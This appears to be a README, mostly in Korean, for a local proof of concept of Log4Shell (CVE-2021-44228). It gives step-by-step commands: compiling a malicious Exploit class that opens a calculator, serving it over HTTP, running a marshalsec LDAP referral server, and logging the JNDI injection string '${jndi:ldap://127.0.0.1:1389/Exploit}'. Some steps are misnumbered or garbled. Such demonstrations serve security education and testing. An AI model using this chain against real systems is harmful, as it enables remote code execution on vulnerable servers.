
Proof-of-concept for Log4Shell (CVE-2021-44228) demonstrating JNDI-based remote code execution via LDAP and HTTP servers.
Exploit.java 파일을 다른 폴더로 이동하세요. 제 경우에는 홈 디렉토리 안에 rce 폴더를 만들었습니다. /home/coldfusionx/rce
Exploit.java를 살펴보세요.
여기서 원격 코드를 무엇이든 변경할 수 있습니다. 이 경우 우분투 머신에서 가 팝업됩니다.gnome-calculator
javac Exploit.java 명령을 사용하여 Exploit.java를 컴파일해야 합니다. 성공적으로 컴파일되면 새 파일 Exploit.class가 생성된 것을 확인할 수 있습니다.
python3 -m http.server 8888 명령을 사용하여 Exploit.class를 호스팅할 파이썬 http 서버를 시작하세요. 또는 php -S 127.0.0.1:8888 명령으로 php 서버를 사용할 수도 있습니다.

Add Configuration을 클릭하세요.
1. `Application`을 선택하세요.

2. 메인 클래스를 선택하세요.

3. JDK를 선택하고 적용하세요.

4. 실행 준비가 된 Log4j Application이 생성된 것을 확인할 수 있습니다.

marshasec로 cdjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"를 실행하세요. 여기서 127.0.0.1:8888은 Exploit.class를 호스팅하는 파이썬 서버이므로 /#Exploit을 지정합니다.
9단계 : 요구 사항에 따라 log4j.java의 JNDI 페이로드를 편집하세요. logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
이 경우 원격 클래스 Exploit을 로드하고 있으며, LDAP 리퍼러 서버는 악성 Exploit 클래스를 호스팅하는 파이썬 서버로 요청을 리디렉션합니다.
10단계 : Log4j를 실행하세요. 성공적으로 실행되면 gnome 계산기가 팝업되는 것을 볼 수 있습니다.
